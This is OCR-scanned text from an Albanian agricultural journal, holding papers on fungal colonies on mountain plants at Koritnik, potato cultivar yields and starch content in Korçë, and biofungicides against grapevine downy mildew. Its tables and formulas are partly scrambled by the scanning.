bashkéjetesa myshk + liken né lévoren e trungjeve té peméve, nuk konsiderohet
terren i favorshém pér ta.

Tashmé éshté kryer edhe seleksionimi i kulturave té majave nga numri i
pérgjithshém, pér té vazhduar mé tej me studime mé té detajuara té karakteristikave
té tyre.

Ky studim do té jeté fillesa e njé studimi té métejshém mbi ngarkesat mykore té
biméve endemike té& zonave malore me lartési t& ndryshme.
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Tabela 1. : Paraqgitja e listés sé biméve té pérzgjedhura dhe numri

Ppérgjithshém i mikroorganizmave

Nr. | Bimét e pérzgjedhura nga mali | Numri i pérgjithshém i
Koritnik mikroogranizmave
(Emrat shqiptaré dhe latingé té bimés)

1 Likene nga trungje pemésh té ndryshme 131
2 Robull me syth 5
3 Myshk nga trung rrobulli 216
4 Myshk nga trungje pemésh 37
5 Déllinja 284
6 Rrobulli 796
7 Gjethe dhe sythe ahu 33
8 Bar i thaté 30
9 Myshge + Likene nga trungje 13
Tabela 2: Paraqitja e numrit té kolonive mykore té izoluara nga grupet e biméve
Emri i bimés Numri i kolonive mykore
Likene 82
Rrobull 12
Déllinja )
Myshk 24
Myshk nga rrobulli 17
Bari i thaté 34
Sythe dhe gjethe té ahut 5
Myshge + Likene nga trungje 3
Likene té vogla né trungje 16
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Tabela 3: Kategorizimi sipas klasave i kolonive mykore té identifikuara (CFU)

Bimét  né Gjinia .
studim Klasa Specie
Aspergillussp., A
Ascomycetes | Aspergillus candidus, A. Terreus, A.
flavus
Penicillium sp., P.
) Penicillium cyclopium
Likene "
Phycomycetes Mucor M. hiemalis
Geotrichum G. candidum
Fungi Helmithosporium | Helmithosporium sp.
impertect Aeurobasidium
Aeurobasidium sp.
| Ascomycetes Aspergillus A. candidus
RO Penicillium Penicillium sp.
Ascomveetes Penicillium Penicillium. sp.
4 Aspergillus A. candius
Déllinja Phycomycetes | nycor Mucor. sp.
Fungi .
imperfecti Cladosporium Cladosporum. sp.
Asperaillus A. candiaus, A. flavus, A.
Ascomycetes Perg terreus, A. sp.
Myshk N
Penicillium- Penicillium sp., P.
cyclopium
Myshk nga Ascomycetes | Penicillium Penicillium sp.
trung . Aspergillus A. terreus, A. flavus, A.
rrobulli .
Phycomycetes candidus
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Bimét  né

Gjinia

studim Klasa Specie
rrobulli Aspergillus A. terreus, A. flavus, A.
Phycomycetes candiadus
Mucor
Mucor. sp.
/_—'ung/ . Tricothecium Tricothecium roseum
imperfecti
A. glaucus, A. candidus,
Aspergillus A. flavus
Ascomycetes
Penicillium Penicillium sp, P.
cyclopium
Bari i thaté
Trichothecium T. roseum
Fungi Trichoderma Trichoderma sp.
imperfecti
Aerobasidium Aerobasidium sp.
Ascomycetes | Aspergillus A. glaucus
Sythe dhe A Penicillium sp, P.
gjethe ahu Penicillium islandicum
Phycomycetes | Rhizophus R. nigricans
Ascomycetes Aspergillus Asp. terreus
Myshk+liken penicillium Penicillium sp.
né lévore
Phycomycetes Mucor M. hiemalis
Likene té Asperaillus A. candidus, A. glaucus
vogla né Ascomycetes pergh Penicillium. sp., P.
. Penicillium .
trungje cyclopium
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Bimé né jini .
ol ® | Klasa Glinia Specie
studim
Phycomycettes | Mucor-1 M. hiemalis
4
3
2
1
0
¢t N & e S " N x
N L & O NI 3
N RS Q) R S XN
FF @& T
E Log.nr.tépérgjithshi

Figura 1. : Paraqgitja e log. & numrit té pérgjithshém té mikroorganizmave né bimét
né studim

H Nr. | kolonivel

Figura 2. : Paragitia e numurit té kolonive mykore né bimé té njéjta té grupuara

H Mucor hiemalis

& Penicillium cyclopium ® Penicillium sp.

i Aspergillus terreus

H Geotrichum candidum H Penicillium islandikum

i Aspergillus glaucus

H Aspergillus sp.

H Aspergillus candidus

il Apergillus flavus

H Trichothecium roseum

El Rhizophus nigricans




Figura 3. . Naarja né pérqindje e gjinive dhe specieve té kolonive mykore té
identifikuara

Fungi
imperfecti
11%
Phycomycete
s
10%

Ascomycetes
79%

Figura 4. : Ndarja né pérginaje e kolonive mykore sipas pérkatésisé né kilasa

Figura 5. . Pamje té ahut dhe rrobullit t& marra né studim

Figura 6. . Pamje té kolonive mykore té identifikuara gfaté punés eksperimentale
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STUDIMI | PARAMETRAVE AGRONOMIKE DHE KIMIKO-
TEKNOLOGJIKE TEK DISA GENOTIPE PATATEJE NE RAJONIN E
KORCES
Robert NACI, Edmond Spahiu, Trajanka Shumka
Universiteti “Fan S. Noli”, “QTTB”, Korgé
Abstrakt

Studimi ka pér géllim té paragesé parametrin agronomik mé té réndésishém té
genotipeve té patates, produktivitetin nékv/ha, si dhe disa parametra kimiko-
teknologjiké té cilat sot jané decisive né industriné ushgimore, si: Iéndén e thaté dhe
amidonin.

Nisur nga fakti gé mbi 55% e kapacitetit prodhues técdo specie té kultivuar e
posedon tipari genotipik, edhe ky studim dot’u vijé né ndihmé kultivuesve t€késaj
bime pér té rritur prodhimin pa investime, njéherazi dhe rritjen e té ardhurave
financiare.

Fjalét kyce: Kultivar, adoptim, kapacitet prodhues, pérpunim statistikor.

Abstract

This study aims to demonstrate the most important agronomic parameter of potato
genotypes, the productivity in kv/ha, as well as some other chemical-technological
parameters which are very decisive in food industry, like: dry substance and starch.

Given the fact that over 55% of the production capacity of each cultivated species
possesses genotype feature, this study will help of this plant growers to increase
production without in vestment, and simultaneously increasetheir revenues.

Key words: Cultivar, adopt, productive capacity, statistical analyses.

Hyrje

Bima e patates konsiderohet sot si njé nga kulturat perimore mé té réndésishme. Ajo
z& vendin e dyté né shkallé botérore pér nga produktiviteti, né njé prodhim total prej
mbi 300 milion ton, né njé sipérfage prej mbi 20 milion Ha. Aq me vleré éshté
prodhimi i késaj specie bimore sa pér heré té paré né historiné e shogérisé njerézore,
viti 2006 éshté quajtur viti ndérkombétar i patates.

Né vendin toné patatja éshté kultivuar herét.Tradita e akumuluar né shekuj e ka
kthyer kultivimin e ké&saj bime né njé “simbol” t€ ushqimit njerézor por edhe té
fitimit financiar.

Té ardhurat e realizuara sot nga kjo bimé, jané té paarritshme krahasuar me kulturat
e tjera perimore.Sipas hartave gjenetike, mendohet gé kapaciteti prodhues i késaj
bime arrin mbi 100 ton/Ha tubera dhe mbi 20 ton/Ha masé gjethore.Varietetet e
késaj specie jané klone dhe si té tilla ekziston rreziku i njé degjenerimi maramendés.

Sot né rajonin e Korgés, kultivohen rreth 2000Ha patate me njé rendiment mesatar
prej 350 kv/Ha. Té ardhurat financiare nga 1 Ha patate mendohet té jené rreth 800-
900 mijé(té reja).
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Materials and methods of work

The study conduced in CTT’s lands in the field number 9. In this study were
included 10 cultivars withreproduction of the class Aand B, half of the seed is
imported and half the seed is last year’s production of CTT Kor¢é. The surface of
each plot was about 21m? with dimensions 6x3. 5m, in each plot were placed 5
rows. During the study were carried out measurements, observations for each stage
of the plant, grouth dynamics, infection from pests and diseases, characteristics and
qualities of production.

Agricultural applied during the study

The plant planted was wheat. The first plowing was done in the fall of
2011 with depths of 30-35 cm and the second one for land preparation was carried
out in March 2012 with depths of 20-25cm. During 17 of April was applied the
fertilization with 400 kg/Ha DAP, 200 kg/ha potassium sulphate, spared by hand.
Before planting of the plot was conducted in 27 April. Planting of tubers was done
by hand in the distance 30cm, the size of the seed was 30-45cm. Throughoutthe
season was done a lot of work. But the most importand works were fertilization
with ammonium nitrate dosage 2 quintals/ha, soil treatment for the second time with
Dursbhan against potato beetles, also irrigation were conducted. The final harvesting
of the production was done in 16 September 2012.

Rezultatet dhe diskutimi i tyre

Produktiviteti éshté parametri mé i réndésishém agronomik tek specia. Paré
né kété prizém, nga studimi i genotipeve té reja té patates té introduktuara nga rajone
me Klimé té péraférta né rajonin e Kor¢és konstatojmé ndryshime né kapacitetin
prodhues tégenotipeve.

Késhtu, gjaté vitit téparé téstudimit 2011, rendimentin mé té larté e dha
kultivari Ambicion né njé rendiment mesatar prej 459kv/Ha ose 121%, pra 21% mé
tepér se kultivari tashmé i rajonizuar FABULA.

Mbi kultivarin e rajonizuar géndrojné dhe VITESA me 17.6% mé tepér si
dhe DIDO me 14.7%.

Nése do té analizojmé rendimentet e realizuara nga kutivarét cilésoré né kété
vit studimor me rendiment mesatar té fushés eksperimentale prej 377 kv/Ha, do té
shohim se mbi kété rendiment rreshtohen :

Kultivari FABULA Me 379. 25 kv/Ha
Kultivari SIFRA Me 380 kv/Ha
Kultivari BAMBUN Me 420 kv/Ha
Kultivari VITESA Me 446 kv/Ha
Kultivari DIDO Me 435 kv/Ha
Kultivari AMBICION Me 459 kv/Ha
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Rendimenti mesatar i kétij grupi “Superdon” &shté prej 419.8 kv/HA. Pra,
diferenca midis vlerés mesatare t& fushés eksperimentale dhe grupit té zgjedhur
rezulton prej 42.8 kv/Ha.

Nga pérpunimi statistikor i materialit shifror rezulton té& kemi kéto vlera té
diferencave mé té médha dhe mé tévogla té vértetuara:

DMV 0.95 47.10 kv/Ha

DMV 099 62. 91 kv/Ha

Sikundér shihet nga tabela gé paraget vlerat statistikore mbi produktivitetin
grupi “elitar” nuk vértetohet té keté diferenca t& vértetuara statstikisht.

Vlera reale té vértetuara statstikisht kané kultivuar AMBICION, VITESA
DHE DIDO, vetém pér nivelin e paré probabilitar prej 95%.Shih tabelat 1, 2, 3.

Nr Kultivarét Rendimenti sipas Rendimenti Né % Sv
pérséritjeve kv/Ha mesatar ndaj
P, P, P, P, kv/ha déshmues

1  Fibula 357 380 433 347 100 1517

2  Sifra 380 352 419 371 100. 2 1522

3 Bamban 405 409 466 400 110.8 1680

4 Ambition 452 428 452 504 121.0 1836

5 Dido 380 409 447 504 114.7 1740

6 Vitesa 380 452 462 490 117.6 1784

7  Ledy Crystal 238 242 262 319 69.9 1061

8  Soprano 247 219 262 305 67.5 1033

9  Muzika 333 357 462 376 100. 8 1528

10 Zorba 357 338 357 333 91.2 1385

11 Sp 3529 3586 4022 3949 - 15086

Pas llogaritjes sé rendimenteve té kultivaréve u krye pérpunimi statistikor i
materialit shifér me metodén e analizés sé variacionit.

Té dhénat e pérpunimit statistikor paragiten si mé poshté:
Tabela e analizés Dispersive (VARJANCAVE)

Burimi i Shumat Shkalla e Dispersioni Vlerate F
variacionit kuadratike lirisé (varjanca) Fellog Teorike

95% 99%

Varjantet 177101 9 19677.9 19.5 1.2 2.2
Pérséritjet 18747 3 6949 6.2 0.02 2.9
Gabimi 27184 27 10068 - - -
Totali 233033 39 - - -
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2
By = [“LE2E = 20 B 5689684.90

Ed=22. 43

toee=22. 43x2. 1=47.10
toge=22. 47x2. 8=62.91
SqT=Y V2 — F,=5912718-F,

2
SqP=2T-= FC=18747. 3
2
quzz% = FC = 177101.1
Soe=S(T-(SQP+SQV)=27187. 70
Nga pérpunimi del se koeficienti i variacionit éshté 8. 4% gjé gé tregon se saktésia e

provés éshté e kénagshme, kur pér pataten ky tregues mund té shkojé deri né 16%.
Diferenca mé e vogél e vértetuar : d/95 éshté 44. 8 kv/Ha dhe d/99 éshté 60.5 kv/Ha.

8 7 10 1 2 9 3 5 6 Nr Kaultivarét Rend Né

Kv/iHa %0

203 194 113 80 79 77 39 24 13 4 Ambition 459 121
190 181 100 67 66 64 26 11 6  Vitesa 446 117.

6

179 170 89 56 55 53 15 5 Dido 435 114.

7

164 135 74 41 40 38 3  Bamban 420 110
126 117 36 3 2 9 Muzika 382 100.

8
124 115 34 1 2 Sifra 380 100.
2
123 114 33 1  Fibula 379 100
90 81 10 Zorba 346 91.
3
9 7 Ledy 265 69.
cristal 9
8  Soprano 256 67.
5

Duke béré krahasimin e prodhimit té kultivaréve ndérmjet tyre, del kjo
renditje.
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Nga krahasimi midis kultivaréve del se kultivarét: Bamban, Ambition, Vitesa,
Dido, formojné njé grup dhe diferenca e tyre pér nivelin e sigurisé 95% éshté
vértetuar ndaj kultivaréve té tjeré né studim. Ndérsa né vitin e dyté, studiuar né vitin
2012, rendimentin mé té larté e ka realizuar kultivari V/ITESA me 295 kv/Ha ose
13% mé tepér se kultivari i rajonizuar FABULA me 279 kv/Ha.

Pas kétij kultivari radhiten BAMBAN me 11. 5% mé tepér ose rendimenti

mesatar i fushés eksperimentale pér vitin 2012 ishte: xi 2012 = 26;;”

Mbi rendimentin mesatar té fushés eksperimentale rreshtohen genotipet:
VITESA 316 kv/Ha
BAMBAN 314 kv/Ha
DIDO 295 kv/Ha
MUZIKA 284 kv/Ha
SAFARI 282 kv/Ha
FOLWA 281 kv/Ha
Rendimenti mesatar i kultivaréve “tézgjedhur” arrin vlerén 295kv/Ha.

Diferenca midis vlerés mesatare tégenotipeve elitare dhe mesatare sé fushés
eksperimentale éshté vetém 32kv/Ha, ndérkohé kur diferenca mé e vogél e vértetuar
pér nivelin e paré probabilitar DMV 0.95=45.6 kv/Ha.

Pra, nuk ka diferenca té vértetuara statistikisht pér grupin elitar té
genotipeve kundrejt vlerés mesatare.

Asnjé genotip sado i larté gofté, kapaciteti prodhues i tij, nuk e kalon
genotipin e rajonizuar FABULA pér nga produktiviteti, me vértetim statistikor.

Sikundér shihet nga vlerat e pérpunuara, viti studimor 2012, paragitet me
nivele produktive tepér té uléta dhe kjo pér mungesén e rreshjeve dhe temperaturave
té larta né periudhén korrik-gusht.

Nr Kultivarét Rendimenti sipas pérséritjeve Rendimenti Né %
kv/Ha mesatar ndaj
P, P, Ps P, kv/ha déshmues

1  Fabula 180 243 371 314 279 100

2  Folwa 238 224 386 276 281 100.7

3 Safari 180 262 386 300 282 101

4 Ambition 157 262 286 243 237 85

5  Vitesa 252 280 380 352 316 113

6 Dido 257 309 319 295 295 105.7

7  Soprano 166 143 190 180 170 60. 6

8  Ledy Crystal 162 157 200 176 174 62

9  Bamban 247 328 347 333 314 111.5

10 Muzika 224 300 347 266 284 101.8
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xXi =263
Pas logaritjes sé rendimentit t& kultivaréve u krye pérpunimi statistikor imaterialit
shifér me metodén e analizés svariacionit.
Té dhénat e pérpunimit statistikor paragiten si mé poshté:
Tabela e analizés sé variancés

Burimi i Shumat Grada Mesatarja  Vlerate F
variacionit  kuadratike eliriseé  kuadratike E ¢ Teorike
(varjanca) llog
95% 99%
Varjantet 99822 9 11091.3 10. 2.25
6
Pérséritjet 67689. 8 3 22563. 2 21. 2.96
5
Gabimi 28230. 2 27 1045.5
Totali 195742 39

Nga pérpunimi del se koeficienti i variacionit éshté 12. 3%, gjé qé tregon se saktésia
e provés éshté e kénagshme, kur pér pataten ky tregues mund té shkojé deri né 16%.

Diferenca mé e vogél e vértetuar :d/95 éshté 45. 6 kv/Ha dhe d/99 éshté 61.5 kv/Ha
7 8 4 1 2 3 10 6 9 N Kultivar Rend. Né
r ét Kv/iHa %

14 14 79 37 35 34 32 21 5 5 Vitesa 316 113
7 3

14 13 74 32 30 29 27 1 9 Bamban 311 111
2 8 6 .5
12 12 58 16 14 13 1 6 Dido 295 105
6 2 1 7
10 11 47 5 3 2 10 Muzika 284 101
5 1 .8
11 10 45 3 1 3 Safari 282 101
3 9

11 10 44 2 2 Folwa 281 100
2 8 7
11 10 4 1 Fabula 279 100

0 6 2
68 6 4  Ambition 237 85

4
4 8 Ledy 173 62

cristal

7 Soprano 169 60.
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Vlerésimi i parametrave kimiko-teknologjike

Krahas analizés pér parametrin agronomik, jemi pérpjekur té paragesim edhe vlerat,
kimiko-teknologjike té kryera né laboratorin e késaj gendre kérkimore.

Analizat u kryen né pérputhje me metodikat e miratuara qysh mé paré.
Genotipet u analizuan pér pérmbajtjen e amidonit dhe I1éndés sé thaté.
Tabela nr.7.na paraget kéto té dhéna.

Analiza éshté kryer pér dy vite studimore 2011-2012:

Tabela 7.
Nr Kultivarét  Viti 2011 Viti 2012 Mesatarja 2
vjecare
Amidoni Lénda Amidoni Lénda Amidoni Lénda
e e e thaté
thaté thaté
1  Fabula 18.0 23.0 14.5 22.5 16.25 22.75
2  Folwa - - 15.0 21.3 15.0 21.3
3  Safari - - 16.0 23.0 16.0 23.0
4 Ambition 19 22.3 16.5 22.4 17.75 22.35
5 Vitesa 16 19.8 11.5 21.7 13.75 20.75
6 Dido 16 19.8 14 22.3 15.0 21.05
7  Soprano 18.5 21.0 15.0 21.6 16.75 21.30
8 Ledy - - 13.5 22.6 13.5 22.6
Crystal
9 Bamban 19 22.4 14.2 27.7 16.4 25. 05
10 Muzika 16.5 23.2  14.2 23.0 15.23 23.15
11 Sifra 17.5 21.0 - - 17.5 21.0
12 Zorba - - 18 20 18 20

Sikundér shihet nga tabela nr.7, pérmbajtjen mé té larté né Iéndén e thaté e posedon
kultivari BAMBAN me 25.05% dhe mé pas reshtohen kultivarét MUZIKA ME
23.2% dhe FABULA me 22.75%.

Midis dy viteve né studim, tipari, pérmbajtja e Iéndés sé thaté ka heritabilitet télarté,
pra gati ndikohet shumé pak nga varjanca ekologjike. Ky pércaktim pérputhet
totalisht edhe me té dhénat e literaturés bashkékohore.

Pérfundime

Mbéshtetur né parametrin  agronomik/rendiment kv/ha, kultivari
AMBITION ka dhéné rezultate mé té larta né vitin studimor 2011 me 459 kv/Ha ose
me 21% mé tepér se kultivari i rajonizuar FABULA. Diferencat né rendiment
vértetohen pér nivelin e paré probabilitar.

80



Kulivarét VITESA dhe DIDO, respektivisht me 446 dhe 435 kv/ha, kané
diferenca té vértetuara statistikisht ndaj kultivarit té rajonizuar FABULA vetém pér
nivelin probabilitar t095.

Midis rendimentit mesatar t€ grupit “elitar” prej 6 kultivarésh pikérisht me
419.8 kv/ha, katér kultivaré qé€ndrojn€ mé sipér se ky nivel “prag”, konkretisht:

Kultivari AMBITION me 459 kv/ha
Kultivari VITESAme 446 kv/ha
Kultivari DIDOme 435 kv/ha
Kultivari BAMBUNMe 420 kv/ha

Kultivari i rajonizuar FABULA géndron mé ulét se xng me 419.8 kv/ha.

Né lidhje me parametrat kimiko-teknologjike,pérmbajtjen mé té larté té
I1éndés sé thaté pér té dy vitet studimore e posedon kultivari BAMBAN me 25. 05%.

Kultivari i rajonizuar FABULA me 22.75% léndé té thaté pérfshihet né
grupin e pélgyer nga industria kulinare né pérgatitjen e produkteve té frizuara.

Referencat:
Austin, S., “Intra-specifik funsion in Solanum tuberosum”.
Chasses, S. C., “Analitic breeding of Solanum tuberosum”, 1993.

Madec, P., “Les relacions entre I’induction de la tuberisation et la sroissance chez
de phomne de terre”, 1963.

Mecollari, E.,“Patatja”, 1985.
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PERDORIMI | DISA BIOFUNGICIDEVE NE KONTROLLIN
E vrugut te hardhise[plasmopara viticola(berk. Et curtis ex. De bary) berl.]
SuelaSpahiu™Dr. HekuranVrapi', ThanasRuci*

1- Departamenti i Mbrojtjes sé Biméve.Fakulteti i Bujgesise & Mjedisit.
Universiteti Bujgésor, Tirané

PERMBLEDHJE

Vlerésimet jané kryer gjaté vitit 2011 né fshatin Marikaj né Tirané gjatérrugés
nacionale Tirané- Durrés né kushtet e nje infeksioni natyral. Efikaciteti i Solfato di
rame 20% (Cuprozin fl),Algae extract (Algin Biovital), Clay with Al-sulfate (Muco-
Sin),Algae extract with potassium \ Phosphomat(Frutogard) dhealternimi i
biofungicidevekundérvruguttéhardhisé (Plasmopara iticola)janéstudiuarnékultivarin
Merlot.

Té gjitha biofungicidet e testuara kané siguruar njé nivel t& ndryshém né mbrojtjen
kundér vrugut té hardhisé (Plasmopara viticola) né gjethe dhe né veshul dhe
krahésuar mé kontrollin duke dhé ne efekt té larté. Biofungicidet si Cuprozin fl,
Alternimi, Muco-Sin dhe Frutogard kane dhe ne efekt shumé te mire né gjethe dhe
veshul krahésuar kjo me trajtimet e tjera.

Abstract

The investigation was carried out during 2011 seasons in Marikaj in Tirane
Capital, Tirané —Durrés desert road under natural infection conditions. The
efficacies of Solfato di rame 20% (Cuprozin fl),Algae extract (Algin Biovital), Clay
with Al-sulfate (Muco-Sin), Algae extract with potassium\ Phosphomat(Frutogard)
and alternate, against Downy mildew were studied on grapevine cv.Merlot. All the
tested compounds provided protection at different level against Downy mildew
[Plasmoparaviticola(Berk. et Curtis ex. de Bary) Berl.Jon both leaves and bunch as
compared with contoll which record the highest effect. Solfato di rame 20%,
Alternate, Clay with Al-sulfateand Algae extract with potassium\ Phosphomatwere
more effective on leaves and bunch as compared with used in a single treatment.

Key words: Grapevine, Plasmopara viticolaSolfato di rame 20%,Algae extract,
Clay with Al-sulfate,Algae extract with potassium\ Phosphomat

HYRJE

Kultura e hardhisé preket nga njé séré sémundjesh qé pér nga lloji i shkaktarit té tyre
klasifikohen né sémundje parazitare dhe sémundje fiziollogjike. Té parat mund té
jené mé orrigjiné kérpudhoré (foto Nr.1), bakteriale, virusale dhe mikrorganizma té
tjeré té ngjajshém me kéto té fundit, té cilat japin dhe emértimin e tyre pérkatés si
mykoza, bakterioza, viroza, etj. (Duraj, N dhe Ruci , Th. 2005).

Nga pikpamja ekonomike sémundjet e hardhisé kané réndési té€ ndryshme, e cila
varet né fakt nga frekuenca e shfages sé sémundjes brénda viteve dhe ndérmijet tyre,
nga intensiteti i prekjes dhe shkalla e démit gé shkaktojné né prodhim dhe nga ana
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tieter nga kostoja dhe véshtirésité e zbatimit té masave té luftimit
(Susuri.L.1995).Vrugu zhvillohet mé tepér gjaté viteve me klimé téngrohté dhe me
reshje té mjaftueshme. Periudhat e gjata kohore me reshje shiu, zakonisht nuk i
pérshtaten zhvillimit t& vrugut sepse atéheré, zakonisht edhe temperaturat ulen. Né
dallim nga hiri, periudhat me thatésira, nuk ofrojné kushte té mira pér zhvillim té
vrugut(AGRIOS, G.N. 2005). Té rrezikshme jané sidomos reshjet e lehta ditore, pas
té cilave pason koha e ngrohté dhe pikat e ujit mbeten disa oré né organet e
hardhisé(HASANI, M. 1998). N& bujgésiné organike, kontrolli i vrugut té hardhisé
(P. Viticola) éshté e bazuar né pérdorimin e bakrit, sé bashku me té gjitha masave
parandaluese té menaxhimit e nevojshme pér té minimizuar zhvillimin e sémundjes.
(RUCI, Th. Vrapi.H.1989).Bakri éshté ende njé mjet shumé i réndésishém pér té
menaxhuar sémundjen né bujgésiné konvencionale dhe éshté nje domosdoshmori e
vérteté né bujgésiné organike. (KALTANI, T; CELO, B.1982)

Me Direktivén nr 2009/37/ té Bashkimit Europian, komponimet me baze bakri jané
pérfshiré né Aneksin 1 té Direktivés 91/414/ té Bashkimit Europian (lidhur me
shitjen e produkteve pér mbrojtjen e biméve né treg). "Prandaj, éshté e nevojshme
géShtetet Anétare té Bashkimit Europian apo dhe vendet si Shqiperia, kandidate pér
né BE duhet té prezantojné plane pér monitorimi né zonat e rrezikuara, ku ndotja e
tokés nga bakeéri éshté njé ¢éshtje shgetésuese, né ményré pér té vendosur, kufizime
té produkteve me bazé bakri sa mé shumé te jeté e mundur.(Commission of the
European Union. 2009).

Normat "(Direktiva e Komisionit 2009/37 / BE) pér kufizimet né Bujgésiné organike
bujgésore, té tilla si normat maksimale té aplikueshme té bakrit jané tashmé
definitive (Rregullorja Nr 889/2008 BE).

Pérdorimi i bakrit me shumice, né fakt, mundet té keté pasoja afat-gjata pér shkak

té akumulimit té tij né toké dhe kjo éshté né kundérshtim me parimet e bujgésisé
organike. Né té ardhmen e afért e té tanishme pérdorimi i tepért i bakrit me siguri
do té zvogélohet, késhtu gé alternativa pér zévendesimin e komponimeve té bakrit
meté produkte natyrore do té kete nevojé pér tu zhvilluar. (Commission of the
European Union. 2009).
Prandaj nisur nga sa folém mé larté géllimi i kétij studimi ka géné kufizimi i
humbjeve té prodhimit té hardhisé nga vrugut té hardhisé (P. Viticola)népérmjet
pérdorimit té produkteve natyrore (Algin Biovital,Muco-Sin dhe Frutogard ) si
alternativepér té luftuar vrugun e hardhisé (2. Viticola) ne bujgésiné biologjike.

Materiali dhe metoda
3.1 Fushaeksperimentaledhematerialetbimore

Fusha eksperimentale éshté ngritur né vreshtin e fermerit Hajdar Kugi me sip 2 dy
né fshatin Marikaj té Bashkisé Voré, Qarku Tirané (Fermé e certifikuar pér
bujgésiné Bio) me kéto Koordinata:41°22°03"* Veri dhe 19°37°09"’ Lindje dhe me
nje lartési mbi nivelin e detit 72 m. Té dhénat bazé pér fushén eksperimentale dhe
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biofungicidet e pérdorurapérluftimin e vruguttéhardhisé (Plasmopara viticolaBerc e
Curt) jepen né tabelén Nr 1 dhe Nr 2

3.2 Skema Eksperimentale

Skema ekperimentale éshté njé bllok i randomizuar me katér pérséritje dhe gjashté
variante (¢do variant ka tre rreshta dhe ka 15 bime).VV1-Pérzjerjebordolese; V2-
Algin Biovital; V3- Muco-Sin; V4 - Frutogard; V5 - Alternim; V6- Kontroll

3.3 Koha e studimit

Studimi paragitet né nje prové nje vjecare dhe ka filluar né Prill té vitit 2011 dhe
pérfundon né Tetor té vitit 2011.

3.4 Te Dhenat Klimatike

Té dhénat klimatike pér té gjithé muajté e vegjetacionit té hardhisé u muarén nga
(Albanian State Meteorological Service in Rinas) pér vitin e studimit 2011

3.5 Metoda e vlerésimit té prekjes nga sémundja

Vlerésimi i sémundijes éshté béré 12 dité mbas trajtimit té fundit né gjethe dhe né
veshul. Sémundja éshté vlerésuar sipas intesitetit t& sémundjes (Disease severity,
DS), i cili vlerésohet si pérgindje e sipérfages sé prekur ndaj totalit (EPPO, 2004).
Pér vlerésimin né gjethe dhe veshul kemi maré 3 bimé té rreshtit t& mesit me 100
gjethe dhe 50 veshulé, té cilét jané vlerésuar né klasa, duke modifikuar shkallét e
Horsfall (HORSFALL and COWLING, 1978) nga 0-10 né 0-5 ( RUCI, TH and
Vrapi H; 2011), shih tabela Nr.4 dhe njehkohesisht duke pérdorur dhe gelsin fushor
té vleresimit té semundjes (SAD)s, shih figura Nr.1.

Indeksi i sémundjeséshtékalkuluar, duke pérdorurformulen e McKinney index
(McKinney, 1923)(dhemodifikuarngaCooke, 2006).siméposhté :

Y (nxv) (Oxa)+(Ixb)+(2xc)+(3xd)+(4xe)+(BxT)

Imc-jane % = --------m-mmmo- x 100 ose memmmememeeemmeeeseeeeeeeene
———————————— X 100

5xN 5X (a+b+c+d+e+f)

Ku:

Imc = Pérgindja e indeksit t€ sémundjes, n =numri i gjetheve /veshuléve pér cdo
klase, v = vlera numerike e ¢do klase, N = Numri total i gjetheve/veshuleve té
vlerésuara(a+b+c+d+e+f),
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3.6 Metoda e vlerésimit té efikacitetit te trajtimeve

Efikaciteti i trajtimeve u llogarit duke pérdorurformulénngaAbbott’s 1925 :
Efikacitetiné % = [(/c— /9l /c] x 100

Ku: Ic= éshtélmc-jané % névariantin pa trajtim (kontroll). It =&shtélmc-ja ne %
névariantet me trajtim,

3.7 Analiza statistikore e té dhénave

Pérpunimi i té dhénave pér té gjitha mjediset e provés pér variancén éshté béré
duke pérdorur analizén e variancés (ANOVA) dhe disa faktoriale u bé duke perdorur
programin statistikor ASSISTAT (2013).

Krahasimet e mesatareve té indeksit t¢ sémundjeve (Imv-ja né %) me variantin
kontroll (pa trajtim) éshté béré duke pérdorur testin e Dunnett (Testi i rrangjeve té
shuméfishté) pér té dy nivelet e propabilitetit p = 0.05 dhe p = 0.01 me programin
statistikor SAS 2009.

4- Rezultatet dhe diskutimi i tyre

4.1 Té dhénat klimaterike, indeksi i sémundjes (Imc) né %, néfushén
eksperimentale Bio né fermén bujgésore né Marikaj pér vitin e studimit 2011.

4.1.1Té dhenat klimaterike:

Gjate vitit 2011 kemi nje pranverété lagésht ku niveli i reshjeve shkon deri né 85-95
mm né muajin Prill dhe 75-85 mm né muajin Maj, ndérsa né muajin Qershor deri né
10-* ditéshin e dyté té muajit Korrik kemi pasur reshje gé arrijne deri né 100 mm shi
dhe mé pas deri népjekjen e rrushit kemi reshje té pakta kéto tédhéna pasqyrohen né
figurén Nr.2.

Si¢ shihet edhe nga figura Nr.2 tregon se ¢fagja e njollave té para teé vajit té vrugut
té hardhisé(P. Viticola) jané datat 25 Prill dhe trajtimi i paré me biofungicide éshté
béré mé 4 Maj 2011 mé pas trajtimet kané vazhduar ¢do 8 dité ku né total jané kryer
8 trajtime.

4.1.2 Rezultatetet e mbi indeksin e semundjesse vruguttehardhise(Plasmopara
viticola (Berc e Curt) Imc ne % ne gjethe dhe veshulper vitin 2011

Vlerésimet pér indeksin e sémundjessévruguttéhardhisé(Plasmopara viticola (Berc e
Curt) Imc né % né gjethe dhe né veshul u bé mé 20.07.2011 ku té dhénat
fillestarejepen né tabelén Nr 4.1.

Nga tabela Nr. 3 dhe grafiku Nr.1 shihet se indeksi i sémundjes sé vrugut té hardhisé
(Plasmopara viticola (Berc e Curt) né gjethe (Imc ) varion ngall % dheld%
pérkatésisht né variantet ku trajtimet kimike jané kryer me Cuprozin fl dhe
Alternimbiofungicidesh dhe deri né 75 % né variantin kontoll (pra pa trajtim).

Né krahésim kjo me indeksin e sémundjes sé vrugut té hardhisé(Plasmopara viticola
(Berc e Curt) né veshul ku Imc-jané varion nga 7 % dhe 8.08% pérkatésisht né
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variantet ku trajtimet kimike jané kryer me Cuprozin fl dhe Alternim dhe deri né 60
% né variantit kontoll (pra pa trajtim).

Nga té dhénat e tabelés Nr.4 gé sjell Analizén e Variancés (ANOVA) duke
pérdorur programin statistikor ASSISTAT (2013) pér indeksin e sémundjes (Imc-ja
né % ) né gjethe dhe né veshul kundér vrugut té hadhisé (Plasmopara viticola (Berc
e Curt) pér vitin 2011 né fermén Bio né fshatin Marikaj Tirané tregon se ndérmjet
trajtimeve ka ndryshime té vértetuara statistikisht. Kjo provohet nga vlerat e “F”-ve
faktike pér kultivarét e cila rezulton té jeté mé e madhe se vlera e “F”-ve teorike
tabelare sipas Fisherit pér té dy nivelet e vértetésisé P=0.05 dhe P=0.01.

Nga krahasimi i “F”-ve faktike té pérséritieve me ato tabelare rezulton se
pérséritjet nuk japin ndryshime té vértetuara statistikisht pér t€ dy nivelet e
vértetésisé P=0.05 dhe P=0.01 sepse “F”-té faktike rezultojné té& jené mé té vogla
se “F”— té teorike gjé gé tregon se eksperimenti yné éshté ngritur né kushte korrekte
